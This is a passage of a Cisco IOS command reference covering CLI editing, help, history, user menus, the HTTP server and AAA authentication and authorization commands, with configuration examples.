This command first appeared in Cisco IOS Release 10.0.

Use this command with the level option to reduce the user-privilege level. If a level is not specified, it defaults to the user EXEC mode, which is level 1.

In the following example, entering the disable command causes the system to exit privileged EXEC mode and return to user EXEC mode as indicated by the angle bracket (>):

Router# disable

Router>

To enable enhanced editing mode for a particular line, use the editing line configuration command. To disable the enhanced editing mode, use the no form of this command.

This command has no arguments or keywords.

Enabled

Line configuration

This command first appeared in Cisco IOS Release 10.0.

Delete or Backspace Erases the character to the left of the cursor.

Return At the command line, pressing the Return key performs the function of processing a command. At the "---More---" prompt on a terminal screen, pressing the Return key scrolls down a line.

Space Bar Allows you to see more output on the terminal screen. Press the space bar when you see the line "---More---" on the screen to display the next screen.

Left Arrow Moves the cursor one character to the left. When you enter a command that extends beyond a single line, you can press the Left Arrow key repeatedly to scroll back toward the system prompt and verify the beginning of the command entry.

Right Arrow1 Moves the cursor one character to the right.

Up Arrow1 or Ctrl-P Recalls commands in the history buffer, beginning with the most recent command. Repeat the key sequence to recall successively older commands.

Down Arrow1 or

Ctrl-N Return to more recent commands in the history buffer after recalling commands with the Up Arrow or Ctrl-P. Repeat the key sequence to recall successively more recent commands.

Ctrl-A Moves the cursor to the beginning of the line.

Ctrl-B Moves the cursor back one character.

Ctrl-D Deletes the character at the cursor.

Ctrl-E Moves the cursor to the end of the command line.

Ctrl-F Moves the cursor forward one character.

Ctrl-K Deletes all characters from the cursor to the end of the command line.

Ctrl-L and Ctrl-R Redisplays the system prompt and command line.

Ctrl-T Transposes the character to the left of the cursor with the character located at the cursor.

Ctrl-U and Ctrl-X Deletes all characters from the cursor back to the beginning of the command line.

Ctrl-V and Esc Q Inserts a code to indicate to the system that the keystroke immediately following should be treated as a command entry, not as an editing key.

Ctrl-W Deletes the word to the left of the cursor.

Ctrl-Y Recalls the most recent entry in the delete buffer. The delete buffer contains the last ten items you have deleted or cut. Ctrl-Y can be used in conjunction with Esc Y.

Ctrl-Z Ends configuration mode and returns you to the EXEC prompt.

Esc B Moves the cursor back one word.

Esc C Capitalizes the word from the cursor to the end of the word.

Esc D Deletes from the cursor to the end of the word.

Esc F Moves the cursor forward one word.

Esc L Changes the word to lowercase at the cursor to the end of the word.

Esc U Capitalizes from the cursor to the end of the word.

Esc Y Recalls the next buffer entry. The buffer contains the last ten items you have deleted. Press Ctrl-Y first to recall the most recent entry. Then press Esc Y up to nine times to recall the remaining entries in the buffer. If you bypass an entry, continue to press Esc Y to cycle back to it.

The arrow keys function only with ANSI-compatible terminals.

Delete or Backspace Erases the character to the left of the cursor.

Ctrl-W Erases a word.

Ctrl-U Erases a line.

Ctrl-R Redisplays a line.

Ctrl-Z Ends configuration mode and returns to the EXEC prompt.

Return Executes single-line commands.

In the following example, enhanced editing mode is disabled on line 3:

line 3

no editing

A dagger (†) indicates that the command is documented outside this chapter.

terminal editing †

To enter privileged EXEC mode, use the enable EXEC command.

level (Optional) Privileged level on which to log in.

Note The enable command is associated with privilege level 0. If you configure AAA authorization for a privilege level greater than 0, this command will not be included in the command set for that privilege level.

EXEC

This command first appeared in Cisco IOS Release 10.0.

Because many of the privileged commands set operating parameters, privileged access should be password-protected to prevent unauthorized use. If the system administrator has set a password with the enable password global configuration command, you are prompted to enter it before being allowed access to privileged EXEC mode. The password is case sensitive.

If an enable password has not been set, enable mode only can be accessed from the router console. If a level is not specified, it defaults to the privileged EXEC mode, which is level 15.

In the following example, the user enters the enable command and is prompted to enter a password. The password is not displayed on the screen. After the user enters the correct password, the system enters privileged command mode as indicated by the pound sign (#).

Router> enable

Password:

Router#

A dagger (†) indicates that the command is documented outside this chapter.

enable password †

To exit configuration mode, or any of the configuration submodes, use the end global configuration command.

This command has no arguments or keywords.

Global configuration

This command first appeared in Cisco IOS Release 10.0.

You can also press Ctrl-Z to exit configuration mode.

In the following example, the name is changed to george using the hostname global configuration command. Entering the end command causes the system to exit configuration mode and return to EXEC mode.

Router(config)# hostname george

george(config)# end

george#

A dagger (†) indicates that the command is documented outside this chapter.

hostname †

To exit any configuration mode or close an active terminal session and terminate the EXEC, use the exit command at the system prompt.

This command has no arguments or keywords.

Available in all command modes.

This command first appeared in Cisco IOS Release 10.0.

Use the exit command at the EXEC levels to exit the EXEC mode. Use the exit command at the configuration level to return to privileged EXEC mode. Use the exit command in interface, line, router, IPX-router, and route-map command modes to return to global configuration mode. Use the exit command in subinterface configuration mode to return to interface configuration mode. You also can press Ctrl-Z, or use the end command, from any configuration mode to return to privileged EXEC mode.

Note The exit command is associated with privilege level 0. If you configure AAA authorization for a privilege level greater than 0, this command will not be included in the command set for that privilege level.

In the following example, the user exits subinterface configuration mode to return to interface configuration mode:

Router(config-subif)# exit

Router(config-if)#

The following example shows how to exit an active session.

Router> exit

A dagger (†) indicates that the command is documented outside this chapter.

disconnect †

logout †

To get help for the full set of user-level commands, use the full-help command.

This command has no arguments or keywords.

Disabled

Available in all command modes.

This command first appeared in Cisco IOS Release 10.0.

The full-help command enables (or disables) an unprivileged user to see all of the help messages available. It is used with the show? command.

The following example is output for show? with full-help disabled:

Router> show ?

clock Display the system clock

history Display the session command history

hosts IP domain-name, lookup style, nameservers, and host table

sessions Information about Telnet connections

terminal Display terminal configuration parameters

users Display information about terminal lines

version System hardware and software status

To display a brief description of the help system, enter the help command.

This command has no arguments or keywords.

Available in all command modes.

This command first appeared in Cisco IOS Release 10.0.

The help command provides a brief description of the context-sensitive help system.

• To list all commands available for a particular command mode, enter a question mark (?) at the system prompt.
• To obtain a list of commands that begin with a particular character string, enter the abbreviated command entry immediately followed by a question mark (?). This form of help is called word help, because it lists only the keywords or arguments that begin with the abbreviation you entered.
• To list a command's associated keywords or arguments, enter a question mark (?) in place of a keyword or argument on the command line. This form of help is called command syntax help, because it lists the keywords or arguments that apply based on the command, keywords, and arguments you have already entered.

Note The help command is associated with privilege level 0. If you configure AAA authorization for a privilege level greater than 0, this command will not be included in the command set for that privilege level.

Enter the help command for a brief description of the help system:

Router# help

Help may be requested at any point in a command by entering

a question mark '?'. If nothing matches, the help list will

be empty and you must backup until entering a '?' shows the

available options.

Two styles of help are provided:

1. Full help is available when you are ready to enter a

command argument (e.g. 'show ?') and describes each possible

argument.

2. Partial help is provided when an abbreviated argument is entered

and you want to know what arguments match the input

(e.g. 'show pr?'.)

The following example shows how to use word help to display all the privileged EXEC commands that begin with the letters "co":

Router# co?

configure connect copy

The following example shows how to use command syntax help to display the next argument of a partially complete access-list command. One option is to add a wildcard mask. The <cr> symbol indicates that the other option is to press Return to execute the command.

Router(config)# access-list 99 deny 131.108.134.234 ?

A.B.C.D Mask of bits to ignore

<cr>

To enable the command history function, or to change the command history buffer size for a particular line, use the history line configuration command. To disable the command history feature, use the no form of this command.

size number-of-lines (Optional) Specifies the number of command lines that the system will record in its history buffer. The range is 0 to 256.

10 lines

Line configuration

This command first appeared in Cisco IOS Release 10.0.

The history command without the size keyword and the number-of-lines argument enables the history function with the last buffer size specified or with the default of 10 lines, if there was not a prior setting.

The no history command without the size keyword and the number-of lines argument disables the history feature but remembers the buffer size if it was something other than the default. The no history size command resets the buffer size to 10.

Note The history size command only sets the size of the buffer; it does not reenable the history feature. If the no history command is used, the history command must be used to reenable this feature.

The command history feature provides a record of EXEC commands that you have entered. This feature is particularly useful for recalling long or complex commands or entries, including access lists.

Ctrl-N or Down Arrow1 Returns to more recent commands in the history buffer after recalling commands with Ctrl-P or the Up Arrow. Repeat the key sequence to recall successively more recent commands.

1 The arrow keys function only with ANSI-compatible terminals such as VT100s.

In the following example, line 4 is configured with a history buffer size of 35 lines:

line 4

history size 35

A dagger (†) indicates that the command is documented outside this chapter.

terminal history size †

To assign an access-list to the http server used by the Cisco IOS ClickStart software or the Cisco Web browser interface, use the ip http access-class global configuration command. To remove the assigned access list, use the no form of this command.

access-list-number Standard IP access list number in the range 0 to 99, as configured by the access-list (standard) command.

name Name of a standard IP access list, as configured by the ip access-list command.

There is no access list applied to the http server.

Global configuration

This command first appeared in Cisco IOS Release 11.2.

If this command is configured, the specified access list is assigned to the http server. Before the http server accepts a connection, it checks the access list. If the check fails, the http server does not accept the request for a connection.

The following command assigns the access list named marketing to the http server:

ip http access-class marketing

ip access-list standard marketing

permit 192.5.34.0 0.0.0.255

permit 128.88.0.0 0.0.255.255

permit 36.0.0.0 0.255.255.255

! (Note: all other access implicitly denied)

A dagger (†) indicates that the command is documented outside this chapter.

ip access-list †

To specify the port to be used by the Cisco IOS ClickStart software or the Cisco Web browser interface, use the ip http port global configuration command. To use the default port, use the no form of this command.

number Port number for use by ClickStart or the Cisco Web browser interface. The default is 80.

80

Global configuration

This command first appeared in Cisco IOS Release 11.2.

Use this command if ClickStart or the Cisco Web browser interface cannot use port 80.

The following command configures the router so that you can use ClickStart or the Cisco Web browser interface via port 60:

ip http server

ip http port 60

To enable a Cisco 1003, Cisco 1004, or Cisco 1005 router to be configured from a browser using the Cisco IOS ClickStart software, and to enable any router to be monitored or have its configuration modified from a browser using the Cisco Web browser interface, use the ip http server global configuration command. To disable this feature, use the no form of this command.

This command has no arguments or keywords.

This feature is enabled on Cisco 1003, Cisco 1004, and Cisco 1005 routers that have not yet been configured. For Cisco 1003, Cisco 1004, and Cisco 1005 routers that have already been configured, and for all other routers, this feature is disabled.

Global configuration

This command first appeared in Cisco IOS Release 11.2.

The following command configures the router so that you can use the Cisco Web browser interface to issue commands to it:

ip http server

Use the menu EXEC command to invoke a user menu.

name The configuration name of the menu.

User EXEC mode or privileged EXEC mode

This command first appeared in Cisco IOS Release 10.0.

A menu can be invoked at either the user or privileged EXEC level, but if an item in the menu contains a privileged EXEC command, the user must be logged in at the privileged level for the command to succeed.

The following example shows how to invoke the menu named Access1:

menu Access1

Use the menu global configuration command with the appropriate keyword to specify menu-display options. Use the no form of the global configuration command to delete a specified, or named, menu from the configuration.

name The configuration name of the menu.

clear-screen (Optional) Clears the terminal screen before displaying a menu.

line-mode (Optional) In a menu of nine or fewer items, you ordinarily select a menu item by entering the item number. In line mode, you select a menu entry by entering the item number and pressing Return. Line mode allows you to backspace over the selected number and enter another number before pressing Return to execute the command. This option is activated automatically when more than nine menu items are defined but also can be configured explicitly for menus of nine or fewer items.

single-space (Optional) Displays menu items single-spaced rather than double-spaced. This option is activated automatically when more than nine menu items are defined but also can be configured explicitly for menus of nine or fewer items.

status-line (Optional) Displays a line of status information about the current user.

Global configuration

This command first appeared in Cisco IOS Release 10.0.

The clear-screen option uses a terminal-independent mechanism based on termcap entries defined in the router and the terminal type configured for the user's terminal. The clear-screen option allows the same menu to be used on multiple types of terminals instead of having terminal-specific strings embedded within menu titles. If the termcap entry does not contain a clear string, the menu system enters 24 newlines, causing all existing text to scroll off the top of the terminal screen.

The status-line option displays the status information at the top of the screen before the menu title is displayed. This status line includes the router's host name, the user's line number, and the current terminal type and keymap type (if any).

A menu can be activated at the user EXEC level or at the privileged EXEC level, depending upon whether the given menu contains menu entries using privileged commands.

When a particular line should always display a menu, that line can be configured with an autocommand configuration command. The menu should not contain any exit paths that leave users in an unfamiliar interface environment.

Menus can be run on a per-user basis by defining a similar autocommand for that local username.

The following example shows how to invoke the menu named Access1:

menu Access1

The following example shows how to display the status information using the status-line option for the menu named Access1:

menu Access1 status-line

A dagger (†) indicates that the command is documented outside this chapter.

resume †

Use the menu command global configuration command to specify underlying commands for user interface menus.

name The configuration name of the menu. You can specify a maximum of 20 characters.

number The selection number associated with the menu entry. This number is displayed to the left of the menu entry. You can specify a maximum of 18 menu entries. When the tenth item is added to the menu, the line-mode and single-space options are activated automatically.

Global configuration

This command first appeared in Cisco IOS Release 10.0.

The menu command has a special option, menu-exit, that is available only within menus. It is used to exit a submenu and return to the previous menu level or exit the menu altogether and return to the EXEC command prompt.

You can create submenus that are opened by selecting a higher-level menu entry. Use the menu command to invoke a menu as the command in a line specifying a higher-level menu entry.

Note If you nest too many levels of menus, the system prints an error message on the terminal and returns to the previous menu level.

When a menu allows connections (their normal use), the command for an entry activating the connection should contain a resume command, or the line should be configured to prevent users from escaping their sessions with the escape-char none command. Otherwise, when they escape from a connection and return to the menu, there will be no way to resume the session and it will sit idle until the user logs off.

Specifying the resume command as the action that is performed for a selected menu entry permits a user to resume a named connection or connect using the specified name, if there is no active connection by that name. As an option, you can also supply the connect string needed to connect initially. When you do not supply this connect string, the command uses the specified connection name.

You can also use the resume/next command, which resumes the next connection in the user's list of connections. This function allows you to create a single menu entry that steps through all of the user's connections.

Refer to the Access Services Configuration Guide for more information on the menu command.

The following example shows how to specify the commands to be executed when a user enters the selection number associated with the menu entry for the menu named Access1:

menu Access1 command 1 tn3270 vms.cisco.com

menu Access1 command 2 rlogin unix.cisco.com

menu Access1 command 3 menu-exit

A dagger (†) indicates that the command is documented outside this chapter.

resume †

Use the menu text global configuration command to specify the text of a menu item in a user interface menu.

name The configuration name of the menu. You can specify a maximum of 20 characters.

number The selection number associated with the menu item. This number is displayed to the left of the menu item. You can specify a maximum of 18 menu items. When the tenth item is added to the menu, the line-mode and single-space options are activated automatically.

Global configuration

This command first appeared in Cisco IOS Release 10.0.

You can specify a maximum of 18 items in a menu.

The following example shows how to specify the descriptive text for the three entries in the menu Access1:

menu Access1 text 1 IBM Information Systems

menu Access1 text 2 UNIX Internet Access

menu Access1 text 3 Exit menu system

A dagger (†) indicates that the command is documented outside this chapter.

resume †

Use the menu title global configuration command to create a title, or banner, for a user menu.

name The configuration name of the menu. You can specify a maximum of 20 characters.

delimiter Characters that mark the beginning and end of a title. Text delimiters are characters that do not ordinarily appear within the text of a title, such as slash ( / ), double quote ("), and tilde ( ~ ). Ctrl-C is reserved for special use and should not be used in the text of the title.

Global configuration

This command first appeared in Cisco IOS Release 10.0.

You can position the title of the menu horizontally by preceding the title text with blank characters. You can also add lines of space above and below the title by pressing Return.

Follow the title keyword with one or more blank characters and a delimiting character of your choice. Then enter one or more lines of text, ending the title with the same delimiting character. You cannot use the delimiting character within the text of the message.

When you are configuring from a terminal and are attempting to include special control characters, such as a screen-clearing string, you must use Ctrl-V before the special control characters so that they are accepted as part of the title string. The string ^[[H^[[J is an escape string used by many VT100-compatible terminals to clear the screen. To use a special string, you must enter Ctrl-V before each escape character.

You also can use the clear-screen option of the menu command to clear the screen before displaying menus and submenus, instead of embedding a terminal-specific string in the menu title. The clear-screen option allows the same menu to be used on different types of terminals.

The following example specifies the title that will be displayed when the menu Access1 is invoked:

cs101(config)# menu Access1 title /^[[H^[[J

Welcome to Access1 Internet Services

Type a number to select an option;

Type 9 to exit the menu.

A dagger (†) indicates that the command is documented outside this chapter.

resume †

To list the commands you have entered in the current EXEC session, use the show history EXEC command.

This command has no arguments or keywords.

EXEC

This command first appeared in Cisco IOS Release 10.0.

Ctrl-N or Down Arrow Returns to more recent commands in the history buffer after recalling commands with Ctrl-P or the Up Arrow. Repeat the key sequence to recall successively more recent commands.

The following is sample output from the show history command, which lists the commands the user has entered in EXEC mode for this session:

Router# show history

help

where

show hosts

show history

Router#

A dagger (†) indicates that the command is documented outside this chapter.

terminal history size†

To enable the enhanced editing mode on the local line, use the terminal editing EXEC command. To disable the enhanced editing mode on the current line, use the no form of this command.

This command has no arguments or keywords.

Enabled

EXEC

This command first appeared in Cisco IOS Release 10.0.

Delete or Backspace Erases the character to the left of the cursor.

Return At the command line, pressing the Return key performs the function of processing, or carrying out, a command. At the " ---More--- " prompt on a terminal screen, pressing the Return key scrolls down a line.

Space Bar Scrolls down a page on the terminal screen. Press the space bar when you see the line

" ---More--- " on the screen to display the next screen.

Right arrow1 Moves the cursor one character to the right.

Up arrow1 or Ctrl-P Recalls commands in the history buffer, beginning with the most recent command. Repeat the key sequence to recall successively older commands.

Down arrow1 or

Ctrl-N Return to more recent commands in the history buffer after recalling commands with the

Up arrow or Ctrl-P. Repeat the key sequence to recall successively more recent commands.

Ctrl-A Moves the cursor to the beginning of the line.

Ctrl-B Moves the cursor back one character.

Ctrl-D Deletes the character at the cursor.

Ctrl-E Moves the cursor to the end of the command line.

Ctrl-F Moves the cursor forward one character.

Ctrl-K Deletes all characters from the cursor to the end of the command line.

Ctrl-L and Ctrl-R Redisplays the system prompt and command line.

Ctrl-T Transposes the character to the left of the cursor with the character located at the cursor.

Ctrl-U and Ctrl-X Deletes all characters from the cursor back to the beginning of the command line.

Ctrl-V and Esc Q Inserts a code to indicate to the system that the key stroke immediately following should be treated as a command entry, not as an editing key.

Ctrl-W Deletes the word to the left of the cursor.

Ctrl-Y Recalls the most recent entry in the delete buffer. The delete buffer contains the last ten items you have deleted or cut. Ctrl-Y can be used in conjunction with Esc Y.

Ctrl-Z Ends configuration mode and returns you to the EXEC prompt.

Esc B Moves the cursor back one word.

Esc C Capitalizes the word at the cursor.

Esc D Deletes from the cursor to the end of the word.

Esc F Moves the cursor forward one word.

Esc L Changes the word at the cursor to lowercase.

Esc U Capitalizes from the cursor to the end of the word.

Esc Y Recalls the next buffer entry. The buffer contains the last ten items you have deleted. Press Ctrl-Y first to recall the most recent entry. Then press Esc Y up to nine times to recall the remaining entries in the buffer. If you bypass an entry, continue to press Esc Y to cycle back to it.

Delete or Backspace Erases the character to the left of the cursor.

Ctrl-W Erases a word.

Ctrl-U Erases a line.

Ctrl-R Redisplays a line.

Ctrl-Z Ends configuration mode and returns to the EXEC prompt.

Return Executes single-line commands.

In the following example, enhanced mode editing is reenabled for the current terminal session:

terminal editing

This command has no arguments or keywords.

Disabled

EXEC

This command first appeared in Cisco IOS Release 10.0.

The terminal full-help command enables (or disables) a user to see all of the help messages available from the terminal. It is used with the show ? command.

The following example is output for show ? with terminal full-help enabled:

Router> terminal full-help

Router> show ?

access-lists List access lists

appletalk AppleTalk information

arap Show Appletalk Remote Access statistics

arp ARP table

async Information on terminal lines used as router interfaces...

To enable the command history feature for the current terminal session or change the size of the command history buffer for the current terminal session, use the terminal history EXEC command. To disable the command history feature or reset the command history buffer to its default size, use the no form of this command.

size (Optional) Sets command history buffer size.

number-of-lines (Optional) Specifies the number of command lines that the system will record in its history buffer. The range is 0 to 256.

10 lines

EXEC

This command first appeared in Cisco IOS Release 10.0.

The history command provides a record of EXEC commands you have entered. This feature is particularly useful to recall long or complex commands or entries, including access lists.

Ctrl-N or down arrow1 Returns to more recent commands in the history buffer after recalling commands with Ctrl-P or the up arrow. Repeat the key sequence to recall successively more recent commands.

1 The arrow keys function only with ANSI-compatible terminals such as VT100s.

In the following example, the number of command lines recorded is set to 15 for the local line:

terminal history size 15

This chapter describes the commands used to manage security on the network.

To enable an Authentication Authorization and Accounting (AAA) authentication method for AppleTalk Remote Access (ARA) users using TACACS+, use the aaa authentication arap global configuration command. Use the no form of this command to disable this authentication.

default Uses the listed methods that follow this argument as the default list of methods when a user logs in.

list-name Character string used to name the following list of authentication methods tried when a user logs in.

method One of the keywords described in Table 1.

If the default list is not set, only the local user database is checked. This version has the same effect as the following command:

aaa authentication arap default local

Global configuration

This command first appeared in Cisco IOS Release 10.3.

The list names and default that you set with the aaa authentication arap command are used with the arap authentication command. These lists can contain up to four authentication methods that are used when a user tries to log in with ARA. Note that ARAP guest logins are disabled by default when you enable AAA/TACACS+. To allow guest logins, you must use either the guest or auth-guest method listed in Table 1. You can only use one of these methods; they are mutually exclusive.

Create a list by entering the aaa authentication arap list-name method command, where list-name is any character string used to name this list (such as MIS-access.) The method argument identifies the list of methods the authentication algorithm tries in the given sequence. You can enter up to four methods.

Use the show running-config command to view lists of authentication methods.

guest Allows guest logins. This method must be the first method listed, but it can be followed by other methods if it does not succeed.

auth-guest Allows guest logins only if the user has already logged in to EXEC. This method must be the first method listed, but can be followed by other methods if it does not succeed.

line Uses the line password for authentication.

local Uses the local username database for authentication.

tacacs+ Uses TACACS+ authentication.

radius Uses RADIUS authentication.

Note This command cannot be used with TACACS or extended TACACS.

The following example creates a list called MIS-access, which first tries TACACS+ authentication and then none:

aaa authentication arap MIS-access tacacs+ none

The following example creates the same list, but sets it as the default list that is used for all ARA protocol authentications if no other list is specified:

aaa authentication arap default tacacs+ none

method At least one and up to four of the keywords described in Table 2.

If the default list is not set, only the enable password is checked. This version has the same effect as the following command:

aaa authentication enable default enable

On the console, the enable password is used if it exists. If no password is set, the process will succeed anyway.

Global configuration

This command first appeared in Cisco IOS Release 10.3.

Use the aaa authentication enable default command to create a series of authentication methods that are used to determine whether a user can access the privileged command level. You can specify up to four authentication methods. Method keywords are described in Table 2. The additional methods of authentication are used only if the previous method returns an error, not if it fails. To specify that the authentication should succeed even if all methods return an error, specify none as the final method in the command line.

If a default authentication routine is not set for a function, the default is none and no authentication is performed. Use the show running-config command to view currently configured lists of authentication methods.

enable Uses the enable password for authentication.

line Uses the line password for authentication.

none Uses no authentication.

tacacs+ Uses TACACS+ authentication.

radius Uses RADIUS authentication.

Note This command cannot be used with TACACS or extended TACACS.

The following example creates an authentication list that first tries to contact a TACACS+ server. If no server can be found, AAA tries to use the enable password. If this attempt also returns an error (because no enable password is configured on the server), the user is allowed access with no authentication.

aaa authentication enable default tacacs+ enable none

A dagger (†) indicates that the command is documented outside this chapter.

enable password †

To configure the Cisco IOS software to check the local user database for authentication before attempting another form of authentication, use the aaa authentication local-override global configuration command. Use the no form of this command to disable the override.

This command has no arguments or keywords.

Override is disabled.

Global configuration

This command first appeared in Cisco IOS Release 10.3.

This command is useful when you want to configure an override to the normal authentication process for certain personnel such as system administrators.

When this override is set, the user is always prompted for the username. The system then checks to see if the entered username corresponds to a local account. If the username does not correspond to one in the local database, login proceeds with the methods configured with other aaa commands (such as aaa authentication login). Note that when using this command Username: is fixed as the first prompt.

The following example enables AAA authentication override:

aaa authentication local-override

aaa new-model

To set AAA authentication at login, use the aaa authentication login global configuration command. Use the no form of this command to disable AAA authentication.

default Uses the listed authentication methods that follow this argument as the default list of methods when a user logs in.

list-name Character string used to name the following list of authentication methods activated when a user logs in.

method At least one and up to four of the keywords described in Table 3.

If the default list is not set, only the local user database is checked. This version has the same effect as the following command:

aaa authentication login default local

Note On the console, login will succeed without any authentication checks if default is not set.

Global configuration

This command first appeared in Cisco IOS Release 10.3.

The default and optional list names that you create with the aaa authentication login command are used with the login authentication command.

Create a list by entering the aaa authentication list-name method command for a particular protocol, where list-name is any character string used to name this list (such as MIS-access). The method argument identifies the list of methods that the authentication algorithm tries, in the given sequence. Method keywords are described in Table 3.

To create a default list that is used if no list is assigned to a line, use the login authentication command with the default argument followed by the methods you want to use in default situations.

The additional methods of authentication are used only if the previous method returns an error, not if it fails. To ensure that the authentication succeeds even if all methods return an error, specify none as the final method in the command line.

If authentication is not specifically set for a line, the default is to deny access and no authentication is performed. Use the show running-config command to display currently configured lists of authentication methods.

enable Uses the enable password for authentication.

krb5 Uses Kerberos 5 for authentication.

line Uses the line password for authentication.

local Uses the local username database for authentication.

none Uses no authentication.

radius Uses RADIUS authentication.

tacacs+ Uses TACACS+ authentication.

krb5-telnet Uses Kerberos 5 Telnet authentication protocol when using Telnet to connect to the router.

Note This command cannot be used with TACACS or extended TACACS.

The following example creates an AAA authentication list called MIS-access. This authentication first tries to contact a TACACS+ server. If no server is found, TACACS+ returns an error and AAA tries to use the enable password. If this attempt also returns an error (because no enable password is configured on the server), the user is allowed access with no authentication.

aaa authentication login MIS-access tacacs+ enable none

The following example creates the same list, but it sets it as the default list that is used for all login authentications if no other list is specified:

aaa authentication login default tacacs+ enable none

The following example sets authentication at login to use the Kerberos 5 Telnet authentication protocol when using Telnet to connect to the router:

aaa authentication login default KRB5-TELNET krb5

A dagger (†) indicates that this command is documented outside this chapter.

login authentication †

To specify AAA authentication for Netware Asynchronous Services Interface (NASI) clients connecting through the access server, use the aaa authentication nasi global configuration command. Use the no form of this command to disable authentication for NASI clients.

default Makes the listed authentication methods that follow this argument the default list of methods used when a user logs in.

list-name

Character string used to name the following list of authentication methods activated when a user logs in.

methods At least one and up to four of the methods described in Table 4.

If the default list is not set, only the local user database is selected. This setting has the same effect as the following command:

aaa authentication nasi default local

Global configuration

This command first appeared in Cisco IOS Release 11.1.

The default and optional list names that you create with the aaa authentication nasi command are used with the nasi authentication command.

Create a list by entering the aaa authentication nasi command, where list-name is any character string that names this list (such as MIS-access). The method argument identifies the list of methods the authentication algorithm tries in the given sequence.

To create a default list that is used if no list is assigned to a line with the nasi authentication command, use the default argument followed by the methods that you want to use in default situations.

The remaining methods of authentication are used only if the previous method returns an error, not if it fails. To ensure that the authentication succeeds even if all methods return an error, specify none as the final method in the command line.

If authentication is not specifically set for a line, the default is to deny access and no authentication is performed. Use the show running-config command to displays currently configured lists of authentication methods.

enable Uses the enable password for authentication.

line Uses the line password for authentication.

local Uses the local username database for authentication.

none Uses no authentication.

tacacs+ Uses TACACS+ authentication.

Note This command cannot be used with TACACS or extended TACACS.

The following example creates an AAA authentication list called list1. This authentication first tries to contact a TACACS+ server. If no server is found, TACACS+ returns an error and AAA tries to use the enable password. If this attempt also returns an error (because no enable password is configured on the server), the user is allowed access with no authentication.

aaa authentication nasi list1 tacacs+ enable none

The following example creates the same list, but sets it as the default list that is used for all login authentications if no other list is specified:

aaa authentication nasi default tacacs+ enable none

A dagger (†) indicates that the command is documented outside this chapter.

ipx nasi-server enable †

show ipx nasi connections †

show ipx spx-protocol †

To change the text displayed when users are prompted for a password, use the aaa authentication password-prompt global configuration command. Use the no form of this command to return to the default password prompt text.

text-string String of text that will be displayed when the user is prompted to enter a password. If this text-string contains spaces or unusual characters, it must be enclosed in double-quotes (for example, "Enter your password:").

This command is disabled by default.

Global configuration

This command first appeared in Cisco IOS Release 11.0.

Use the aaa authentication password-prompt command to change the default text that the Cisco IOS software displays when prompting a user to enter a password. This command changes the password prompt for the enable password as well as for login passwords that are not supplied by remote security servers. The no form of this command returns the password prompt to the default value:

Password:

The aaa authentication password-prompt command does not change any dialog that is supplied by a remote TACACS+ or RADIUS server.

The following example changes the text for the password prompt:

aaa authentication password-prompt "Enter your password now:"

A dagger (†) indicates that the command is documented outside this chapter.

enable password †

To specify one or more AAA authentication methods for use on serial interfaces running Point-to-Point (PPP) and TACACS+, use the aaa authentication ppp global configuration command. Use the no form of this command to disable authentication.

default Uses the listed authentication methods that follow this argument as the default list of methods when a user logs in.

list-name Character string used to name the following list of authentication methods tried when a user logs in.

method

If the default list is not set, only the local user database is checked. This command has the same effect as the following command:

aaa authentication ppp default local

Global configuration

This command first appeared in Cisco IOS Release 10.3.

The lists that you create with the aaa authentication ppp command are used with the ppp authentication command. These lists contain up to four authentication methods that are used when a user tries to log in to the serial interface.

Create a list by entering the aaa authentication ppp list-name method command, where list-name is any character string used to name this list (such as MIS-access). The method argument identifies the list of methods that the authentication algorithm tries in the given sequence. You can enter up to four methods. Method keywords are described in Table 5.

The additional methods of authentication are only used if the previous method returns an error, not if it fails. Specify none as the final method in the command line to have authentication succeed even if all methods return an error.

If authentication is not specifically set for a function, the default is none and no authentication is performed. Use the show running-config command to display lists of authentication methods.

if-needed Does not authenticate if user has already been authenticated on a TTY line.

krb5 Uses Kerberos 5 for authentication (can only be used for PAP authentication).

local Uses the local username database for authentication.

none Uses no authentication.

radius Uses RADIUS authentication.

tacacs+ Uses TACACS+ authentication.

Note This command cannot be used with TACACS or extended TACACS.

The following example creates an AAA authentication list called MIS-access for serial lines that use PPP. This authentication first tries to contact a TACACS+ server. If this action returns an error, the user is allowed access with no authentication.

aaa authentication MIS-access ppp tacacs+ none

A dagger (†) indicates that this command is documented outside this chapter.

ppp authentication

To change the text displayed when users are prompted to enter a username, use the aaa authentication username-prompt global configuration command. Use the no form of this command to return to the default username prompt text.

text-string String of text that will be displayed when the user is prompted to enter a username. If this text-string contains spaces or unusual characters, it must be enclosed in double-quotes (for example, "Enter your name:").

This command is disabled by default.

Global configuration

This command first appeared in Cisco IOS Release 11.0.

Use the aaa authentication username-prompt command to change the default text that the Cisco IOS software displays when prompting a user to enter a username. The no form of this command returns the username prompt to the default value:

Username:

Some protocols (for example, TACACS+) have the ability to override the use of local username prompt information. Using the aaa authentication username-prompt command will not change the username prompt text in these instances.

Note The aaa authentication username-prompt command does not change any dialog that is supplied by a remote TACACS+ server.

The following example changes the text for the username prompt:

aaa authentication username-prompt "Enter your name here:"

A dagger (†) indicates that the command is documented outside this chapter.

enable password †

Use the aaa authorization global configuration command to set parameters that restrict a user's network access. Use the no form of this command to disable authorization for a function.

network Runs authorization for all network-related service requests, including SLIP, PPP, PPP NCPs, and ARA protocol.

exec Runs authorization to determine if the user is allowed to run an EXEC shell. This facility might return user profile information such as autocommand information.

command Runs authorization for all commands at the specified privilege level.

level Specific command level that should be authorized. Valid entries are 0 through 15.

Authorization is disabled for all actions (equivalent to the keyword none).

Global configuration

This command first appeared in Cisco IOS Release 10.0.

Note There are five commands associated with privilege level 0: disable, enable, exit, help, and logout. If you configure AAA authorization for a privilege level greater than 0, these five commands will not be included in the privilege level command set.

Use the aaa authorization command to create at least one, and up to four, authorization methods that can be used when a user accesses the specified function.

Note This command, along with aaa accounting, replaces the tacacs-server suite of commands in previous versions of TACACS.

The additional methods of authorization are used only if the previous method returns an error, not if it fails. Specify none as the final method in the command line to have authorization succeed even if all methods return an error.

If authorization is not specifically set for a function, the default is none and no authorization is performed.

tacacs+ Requests authorization information from the TACACS+ server.

if-authenticated Allows the user to access the requested function if the user is authenticated.

none No authorization is performed.

local Uses the local database for authorization.

radius Uses RADIUS to get authorization information.

krb5-instance Uses the instance defined by the Kerberos instance map command.

The authorization command causes a request packet containing a series of attribute value pairs to be sent to the TACACS daemon as part of the authorization process. The daemon can do one of the following:

• Accept the request as is
• Make changes to the request
• Refuse the request, and hence, refuse authorization

Table 7 describes attribute value (AV) pairs associated with the aaa authorization command. Registered users can find more information about TACACS+ and attribute pairs on Cisco Connection Online (CCO).

